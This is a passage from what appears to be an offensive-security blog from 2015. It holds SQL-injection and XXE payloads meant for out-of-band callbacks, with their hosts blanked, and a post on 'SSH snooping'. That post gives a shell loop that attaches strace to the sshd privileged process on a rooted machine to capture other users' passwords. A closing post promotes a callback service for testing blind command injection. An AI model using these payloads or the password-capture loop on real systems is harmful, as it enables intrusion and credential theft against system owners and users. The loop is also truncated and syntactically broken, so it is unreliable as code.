SELECT * FROM products WHERE id=1||UTL_HTTP.request('') --

External ENTITY Injection:
<!ENTITY dtd SYSTEM "">%dtd

and more.

For now, it's FREE but with limited support. (you may some $$$ if you love using it :)

Thursday, October 1, 2015

SSH Snooping in action

Got root via local privilege escalation exploit? Want his password, but can't crack?

You may try ssh snooping..


while true; do
   ps_test=`ps ax|grep sshd|grep -v grep|grep priv|tr -s ' '`
   if [ -n "$ps_test" ]
     strace -e trace=read -p $(echo $ps_test | awk '{print $1}') -o $f
     cat $f | grep 'read(6,' > $a
     rm $f
     chown root:root $a
     chmod 600 $a
     echo -e ".\c"
     sleep 0.1

Monday, August 24, 2015

Get Remote Code Injeciton Feedback Online

Hi there, i've launched specific service, that may help you to test Remote Command Injection ONLINE. (simple and dirty, without cool design :)

Why do we need it?

Let's say, you're behind a NAT and you forgot password to your router for configuring port forwarding? :)

If you're in situation without a public IP and you can't listen to ICMP Ping requests (for example) from web-server you're testing right now, try out this service.

Hmm... I'm not responsible for any illegal use of this service.
If you've seen this IP or domain name in logs, pay attention, somebody is testing your website for Command Injection Vulnerability.

Oh.. one more thing.. the service may disclose IPs with this vulnerability to the public.
Think twice before using it.